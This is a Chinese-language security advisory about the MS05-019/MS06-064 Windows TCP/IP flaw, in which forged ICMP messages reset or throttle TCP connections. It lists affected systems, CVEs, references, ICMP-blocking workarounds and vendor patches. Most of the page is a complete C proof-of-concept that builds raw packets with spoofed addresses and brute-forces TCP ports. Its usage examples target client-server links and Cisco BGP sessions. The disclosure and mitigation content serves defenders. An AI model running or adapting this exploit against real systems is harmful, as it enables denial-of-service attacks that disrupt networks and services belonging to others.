安全研究

安全漏洞
Microsoft Windows TCP/IP协议栈ICMP重置TCP连接漏洞(MS05-19/MS06-064)

发布日期:2005-04-15
更新日期:2006-10-11

受影响系统:
Microsoft Windows 2000 SP4
Microsoft Windows 2000 SP3
Microsoft Windows XP SP2
Microsoft Windows XP SP1
Microsoft Server 2003
描述:
BUGTRAQ  ID: 13124
CVE(CAN) ID: CVE-2004-1060,CVE-2004-0791,CVE-2004-0790,CVE-2005-0068,CVE-2005-0067,CVE-2005-0066,CVE-2005-0065

Microsoft Windows是微软发布的非常流行的操作系统。

Microsoft Windows的TCP/IP协议栈的ICMP协议处理模块存在漏洞,远程攻击者可能利用此漏洞重置服务器的TCP连接。

Microsoft Windows的ICMP协议处理模块没有充分检查某些类型ICMP消息的合法性,远程攻击者可以向受影响的服务器发送特制的ICMP消息导致服务器和客户端之间的已有TCP连接被重置。

<*来源:Fernando Gont
  
  链接:http://secunia.com/advisories/22341/
        http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx
        http://www.microsoft.com/technet/security/Bulletin/MS06-064.mspx
        http://www.us-cert.gov/cas/techalerts/TA06-283A.html
        http://www2.itrc.hp.com/service/cki/docDisplay.do?hpweb_printable=true&docId=HPSBTU01210
        http://www1.itrc.hp.com/service/cki/docDisplay.do?hpweb_printable=true&docId=HPSBUX01164
        http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-57746-1
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/* HOD-icmp-attacks-poc.c: 2005-04-15: PUBLIC v.0.2
*
* Copyright (c) 2004-2005 houseofdabus.
*
*              (MS05-019) (CISCO:20050412)
*       ICMP attacks against TCP (Proof-of-Concept)
*
*
*
*                 .::[ houseofdabus ]::.
*
*
*
* [ for more details:
* [ http://www.livejournal.com/users/houseofdabus
* ---------------------------------------------------------------------
* Systems Affected:
*    - Cisco Content Services Switch 11000 Series (WebNS)
*    - Cisco Global Site Selector (GSS) 4480 1.x
*    - Cisco IOS 10.x
*    - Cisco IOS 11.x
*    - Cisco IOS 12.x
*    - Cisco IOS R11.x
*    - Cisco IOS R12.x
*    - Cisco IOS XR (CRS-1) 3.x
*    - Cisco ONS 15000 Series
*    - Cisco PIX 6.x
*    - Cisco SAN-OS 1.x (MDS 9000 Switches)
*    - AIX 5.x
*    - Windows Server 2003
*    - Windows XP SP2
*    - Windows XP SP1
*    - Windows 2000 SP4
*    - Windows 2000 SP3
*      ...
*
* ---------------------------------------------------------------------
* Description:
*    A denial of service vulnerability exists that could allow an
*    attacker to send a specially crafted Internet Control Message
*    Protocol (ICMP) message to an affected system. An attacker who
*    successfully exploited this vulnerability could cause the affected
*    system to reset existing TCP connections, reduce the throughput
*    in existing TCP connections, or consume large amounts of CPU and
*    memory resources.
*    (CAN-2004-0790, CAN-2004-0791, CAN-2004-1060)
*
* ---------------------------------------------------------------------
* Solution:
*    http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx
*    http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml
*
* Other References:
*    http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html
*    http://www.kb.cert.org/vuls/id/222750
*
* ---------------------------------------------------------------------
* Tested on:
*    - Windows Server 2003
*    - Windows XP SP1
*    - Windows 2000 SP4
*    - Cisco IOS 11.x
*
* ---------------------------------------------------------------------
* Compile:
*
* Win32/VC++  : cl -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
* Win32/cygwin: gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
* Linux       : gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c
*
* ---------------------------------------------------------------------
* Examples:
*
*   client <---> router <---> router <---> server
*
*   CLIENT <---> SERVER
*
*   HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:1
*   (abort the connection)
*
*   HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:2
*   (slow down the transmission rate for traffic)
*
*
*   ROUTER1 <---> ROUTER2
*
*   HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:179 -a:1
*   (DoS Cisco BGP Connections)
*
*   HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:80 -a:2
*   (slow down the transmission rate for traffic)
*
* ---------------------------------------------------------------------
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission
* to do so.
*
*/


/* #define _WIN32 */

#ifdef _WIN32
#pragma comment(lib,"ws2_32")
#pragma pack(1)
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
/* IP_HDRINCL */
#include <ws2tcpip.h>

#else
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/timeb.h>
#endif

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define MAX_PACKET         4096

#define DEFAULT_PORT       80
#define DEFAULT_IP         "192.168.0.1"
#define DEFAULT_COUNT      1


/* Define the IP header */
typedef struct ip_hdr {
        unsigned char  ip_verlen;       /* IP version & length */
        unsigned char  ip_tos;          /* IP type of service */
        unsigned short ip_totallength;  /* Total length */
        unsigned short ip_id;           /* Unique identifier */
        unsigned short ip_offset;       /* Fragment offset field */
        unsigned char  ip_ttl;          /* Time to live */
        unsigned char  ip_protocol;     /* Protocol */
        unsigned short ip_checksum;     /* IP checksum */
        unsigned int   ip_srcaddr;      /* Source address */
        unsigned int   ip_destaddr;     /* Destination address */
} IP_HDR, *PIP_HDR;


/* Define the ICMP header */
/* Destination Unreachable Message */
typedef struct icmp_hdr {
        unsigned char  type;            /* Type */
        unsigned char  code;            /* Code */
        unsigned short checksum;        /* Checksum */
        unsigned long  unused;          /* Unused */
} ICMP_HDR, *PICMP_HDR;


/* 64 bits of Original Data Datagram (TCP header) */
char msg[] =
"\x00\x50"                              /* Source port */
"\x00\x50"                              /* Destination port */
"\x23\x48\x4f\x44";



/* globals */
unsigned long   dwToIP,                 /* IP to send to */
                dwFromIP;               /* IP to send from (spoof) */
unsigned short  iToPort,                /* Port to send to */
                iFromPort;              /* Port to send from (spoof) */
unsigned long   dwCount;                /* Number of times to send */
unsigned long   Attack;



void
usage(char *progname) {
        printf("Usage:\n\n");
        printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> <-fi:SRC-PORT> [-tp:int] [-a:int] [-n:int]\n\n", progname);
        printf("       -fi:IP    From (sender) IP address\n");
        printf("       -ti:IP    To (target) IP address\n");
        printf("       -fp:int   Target open TCP port number\n");
        printf("                 (for example - 21, 25, 80)\n");
        printf("       -tp:int   Inicial value for bruteforce (sender) TCP port number\n");
        printf("                 (default: 0 = range of ports 0-65535)\n");
        printf("       -n:int    Number of packets\n\n");
        printf("       -a:int    ICMP attacks:\n");
        printf("                    1 - Blind connection-reset attack\n");
        printf("                        (ICMP protocol unreachable)\n");
        printf("                    2 - Path MTU discovery attack\n");
        printf("                        (slow down the transmission rate)\n");
        printf("                    3 - ICMP Source Quench attack\n");
        exit(1);
}

void
ValidateArgs(int argc, char **argv)
{
        int i;

        iToPort = 0;
        iFromPort = DEFAULT_PORT;
        dwToIP = inet_addr(DEFAULT_IP);
        dwFromIP = inet_addr(DEFAULT_IP);
        dwCount = DEFAULT_COUNT;
        Attack = 1;

        for (i = 1; i < argc; i++) {
                if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
                        switch (tolower(argv[i][1])) {
                                case 'f':
                                        switch (tolower(argv[i][2])) {
                                                case 'p':
                                                        if (strlen(argv[i]) > 4)
                                                        iFromPort = atoi(&argv[i][4]);
                                                        break;
                                                case 'i':
                                                        if (strlen(argv[i]) > 4)
                                                        dwFromIP = inet_addr(&argv[i][4]);
                                                        break;
                                                default:
                                                        usage(argv[0]);
                                                        break;
                                        }
                                        break;
                                case 't':
                                        switch (tolower(argv[i][2])) {
                                                case 'p':
                                                        if (strlen(argv[i]) > 4)
                                                        iToPort = atoi(&argv[i][4]);
                                                        break;
                                                case 'i':
                                                        if (strlen(argv[i]) > 4)
                                                        dwToIP = inet_addr(&argv[i][4]);
                                                        break;
                                                default:
                                                        usage(argv[0]);
                                                        break;
                                        }
                                        break;
                                case 'n':
                                        if (strlen(argv[i]) > 3)
                                        dwCount = atol(&argv[i][3]);
                                        break;
                                case 'a':
                                        if (strlen(argv[i]) > 3)
                                        Attack = atol(&argv[i][3]);
                                        if ((Attack > 3) || (Attack < 1))
                                        usage(argv[0]);
                                        break;
                                default:
                                        usage(argv[0]);
                                        break;
                        }
                }
        }
        return;
}


/*    This function calculates the 16-bit one's complement sum */
/*    for the supplied buffer */
unsigned short
checksum(unsigned short *buffer, int size)
{
        unsigned long cksum = 0;

        while (size > 1) {
                cksum += *buffer++;
                size  -= sizeof(unsigned short);
        }
        if (size) {
                cksum += *(unsigned char *)buffer;
        }
        cksum = (cksum >> 16) + (cksum & 0xffff);
        cksum += (cksum >>16);

        return (unsigned short)(~cksum);
}



int
main(int argc, char **argv)
{

#ifdef _WIN32
        WSADATA         wsd;
#endif
        int             s;
#ifdef _WIN32
        BOOL            bOpt;
#else
        int             bOpt;
#endif
        struct sockaddr_in remote;
        IP_HDR          ipHdr,
                        ipHdrInc;
        ICMP_HDR        icmpHdr;
        int             ret;
        unsigned long   i, p;
        unsigned short  iTotalSize,
                        iIPVersion,
                        iIPSize,
                        p2,
                        cksum = 0;
        char            buf[MAX_PACKET],
                        *ptr = NULL;
#ifdef _WIN32
        IN_ADDR         addr;
#else
        struct sockaddr_in addr;
#endif

        printf("\n               (MS05-019) (CISCO:20050412)\n");
        printf("       ICMP attacks against TCP (Proof-of-Concept)\n\n");
        printf("        Copyright (c) 2004-2005 .: houseofdabus :.\n\n\n");

        if (argc < 3) usage(argv[0]);

        /* Parse command line arguments and print them out */
        ValidateArgs(argc, argv);
#ifdef _WIN32
        addr.S_un.S_addr = dwFromIP;
        printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), iFromPort);
        addr.S_un.S_addr = dwToIP;
        printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
        printf("[*] Count:   %d\n", dwCount);
#else
        addr.sin_addr.s_addr = dwFromIP;
        printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iFromPort);
        addr.sin_addr.s_addr = dwToIP;
        printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iToPort);
        printf("[*] Count:   %d\n", dwCount);
#endif

#ifdef _WIN32
        if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
                printf("[-] WSAStartup() failed: %d\n", GetLastError());
                return -1;
        }
#endif
        /*  Creating a raw socket */
        s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
#ifdef _WIN32
        if (s == INVALID_SOCKET) {
#else
        if (s < 0) {
#endif
                printf("[-] socket() failed\n");
                return -1;
        }


        /* Enable the IP header include option */
#ifdef _WIN32
        bOpt = TRUE;
#else
        bOpt = 1;
#endif
        ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
#ifdef _WIN32
        if (ret == SOCKET_ERROR) {
                printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());
                return -1;
        }
#endif


        /* Initalize the IP header */
        iTotalSize = sizeof(ipHdr) + sizeof(icmpHdr) + sizeof(msg)-1 + sizeof(ipHdrInc);

        iIPVersion = 4;
        iIPSize = sizeof(ipHdr) / sizeof(unsigned long);

        ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
        ipHdr.ip_tos = 0;               /* IP type of service */
                                        /* Total packet len */
        ipHdr.ip_totallength = htons(iTotalSize);
        ipHdr.ip_id = htons(42451);     /* Unique identifier */
        ipHdr.ip_offset = 0;            /* Fragment offset field */
        ipHdr.ip_ttl = 255;             /* Time to live */
        ipHdr.ip_protocol = 0x1;        /* Protocol(ICMP) */
        ipHdr.ip_checksum = 0;          /* IP checksum */
        ipHdr.ip_srcaddr = dwFromIP;    /* Source address */
        ipHdr.ip_destaddr = dwToIP;     /* Destination address */


        ipHdrInc.ip_verlen = (iIPVersion << 4) | iIPSize;
        ipHdrInc.ip_tos = 0;            /* IP type of service */
                                        /* Total packet len */
        ipHdrInc.ip_totallength = htons(sizeof(ipHdrInc)+20);
        ipHdrInc.ip_id = htons(25068);  /* Unique identifier */
        ipHdrInc.ip_offset = 0;         /* Fragment offset field */
        ipHdrInc.ip_ttl = 255;          /* Time to live */
        ipHdrInc.ip_protocol = 0x6;     /* Protocol(TCP) */
        ipHdrInc.ip_checksum = 0;       /* IP checksum */
        ipHdrInc.ip_srcaddr = dwToIP;   /* Source address */
        ipHdrInc.ip_destaddr = dwFromIP;/* Destination address */


        /* Initalize the ICMP header */
        icmpHdr.checksum = 0;
        if (Attack == 1) {
                icmpHdr.type = 3;       /* Destination Unreachable Message */
                icmpHdr.code = 2;       /* protocol unreachable */
                icmpHdr.unused = 0;
        } else if (Attack == 2) {
                icmpHdr.type = 3;       /* Destination Unreachable Message */
                icmpHdr.code = 4;       /* fragmentation needed and DF set */
                icmpHdr.unused = 0x44000000; /* next-hop MTU - 68 */
        } else {
                icmpHdr.type = 4;       /* Source Quench Message */
                icmpHdr.code = 0;
                icmpHdr.unused = 0;
        }

        memset(buf, 0, MAX_PACKET);
        ptr = buf;

        memcpy(ptr, &ipHdr, sizeof(ipHdr));       ptr += sizeof(ipHdr);
        memcpy(ptr, &icmpHdr, sizeof(icmpHdr));   ptr += sizeof(icmpHdr);
        memcpy(ptr, &ipHdrInc, sizeof(ipHdrInc)); ptr += sizeof(ipHdrInc);
        memcpy(ptr, msg, sizeof(msg)-1);
        iFromPort = htons(iFromPort);
        memcpy(ptr, &iFromPort, 2);

        remote.sin_family = AF_INET;
        remote.sin_port = htons(iToPort);
        remote.sin_addr.s_addr = dwToIP;

        cksum = checksum((unsigned short *)&ipHdrInc, 20);
        memcpy(buf+20+sizeof(icmpHdr)+10, &cksum, 2);

        cksum = checksum((unsigned short *)&ipHdr, 20);
        memcpy(buf+10, &cksum, 2);

        for (p = iToPort; p <= 65535; p++) {
                p2 = htons((short)p);
                memcpy((char *)(ptr+2), &p2, 2);
                buf[22] = 0;
                buf[23] = 0;
                cksum = checksum((unsigned short *)(buf+20), sizeof(icmpHdr)+28);
                memcpy(buf+20+2, &cksum, 2);

                for (i = 0; i < dwCount; i++) {
#ifdef _WIN32
                        ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote,
                                sizeof(remote));
#else
                        ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote,
                        sizeof(remote));
#endif
#ifdef _WIN32
                        if (ret == SOCKET_ERROR) {
#else
                        if (ret < 0) {
#endif
                                printf("[-] sendto() failed\n");
                                break;
                        }
                }
        }

#ifdef _WIN32
        closesocket(s);
        WSACleanup();
#endif

        return 0;
}

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在防火墙或路由器阻断所有ICMP网络报文
* 在受影响系统使用IPSec阻断ICMP通讯

厂商补丁:

HP
--
HP已经为此发布了安全公告(HPSBUX01164,HPSBTU01210)以及相应补丁:
HPSBUX01164:SSRT4884 HP-UX TCP/IP Remote Denial of Service (DoS)
链接:http://www1.itrc.hp.com/service/cki/docDisplay.do?hpweb_printable=true&docId=HPSBUX01164

HPSBTU01210:SSRT4743, SSRT4884 rev.1 - HP Tru64 UNIX TCP/IP remote Denial of Service (DoS)
链接:http://www2.itrc.hp.com/service/cki/docDisplay.do?hpweb_printable=true&docId=HPSBTU01210

Microsoft
---------
Microsoft已经为此发布了安全公告(MS05-019,MS05-019)以及相应补丁:
MS05-019:Vulnerabilities in TCP/IP Could Allow Remote Code Execution and Denial of Service (893066)
链接:http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx

MS06-064:Vulnerabilities in TCP/IP IPv6 Could Allow Denial of Service (922819)链接:http://www.microsoft.com/technet/security/Bulletin/MS06-064.mspx

Sun
---
Sun已经为此发布了一个安全公告(Sun-Alert-57746)以及相应补丁:
Sun-Alert-57746:Sun TCP Connections May Experience Performance Degradation If Certain ICMP Error Messages Are Received
链接:http://sunsolve.sun.com/search/printfriendly.do?assetkey=1-26-57746-1

浏览次数:5159
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障